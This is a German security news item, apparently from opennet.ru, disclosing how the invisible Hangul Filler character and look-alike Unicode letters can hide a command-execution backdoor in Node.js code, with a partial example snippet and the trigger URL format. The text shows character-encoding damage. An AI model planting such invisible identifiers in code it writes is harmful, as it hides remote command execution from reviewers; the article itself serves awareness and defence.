Nach der Trojan Source-Angriffsmetode, die auf der Anwendung von Unicode-Zeichen basiert, die die Anzeige von bidirektionalem Text Ă€ndern, wird eine weitere Technik zur EinfĂŒhrung versteckter Aktionen vorgestellt, die im JavaScript-Code anwendbar ist. Die neue Methode stĂŒtzt sich auf das Unicode-Zeichen âă €â (Code 0x3164, âHANGUL FILLERâ), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, in die dieses Zeichen fĂ€llt, ist seit der ECMAScript 2015-Spezifikation fĂŒr die Verwendung in JavaScript-Variablennamen zugelassen, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die in gĂ€ngigen Code-Editoren wie Notepad++ und VS Code von anderen Variablen nicht zu unterscheiden sind.
Als Beispiel wird ein Code fĂŒr die Plattform Node.js vorgestellt, in dem durch eine Variable, die aus einem einzelnen Zeichen âă €â besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszufĂŒhren: app.get(â/network_healthâ, async (req, res) => { const { timeout,ă €} = req.query; // tatsĂ€chlich steht hier âconst { timeout,ă € \u3164}â const checkCommands = [ âping -c 1 google.comâ, âcurl -s http://example.com/â,ă € // nach dem Komma folgt das Zeichen \u3164 ];
Auf den ersten Blick wird nur der Wert fĂŒr den timeout ĂŒber einen externen Parameter ĂŒbergeben, wĂ€hrend das Array mit den auszufĂŒhrenden Befehlen eine harmlose feste Liste enthĂ€lt. In Wirklichkeit wird jedoch der Variablen timeout der Wert einer weiteren unsichtbaren Variablen mit dem Zeichencode \u3164 zugewiesen, die ebenfalls im Array der auszufĂŒhrenden Befehle verwendet wird. Somit kann ein Angreifer, wenn eine solche Konstruktion vorliegt, eine Anfrage im Format âhttps://host:8080/network_health?=Befehlâ senden, um einen Backdoor zu aktivieren und eigenen Code auszufĂŒhren.
Ein weiteres Beispiel ist das Zeichen âÇâ (ALVEOLAR CLICK), das verwendet werden kann, um die Sichtbarkeit eines Ausrufezeichens zu schaffen. Zum Beispiel wird der Ausdruck âif(environmentÇ=ENV_PROD){â in Node.js 14 immer wahr sein, da hier kein Vergleich angestellt wird, sondern der Variable âenvironmentÇâ der Wert ENV_PROD zugewiesen wird. Zu den irrefĂŒhrenden Unicode-Zeichen gehören auch âïŒâ, âââ, âïŒâ, ââ©”â, ââšâ, â⫝̸â, âêżâ und âââ.
Quelle: opennet.ru
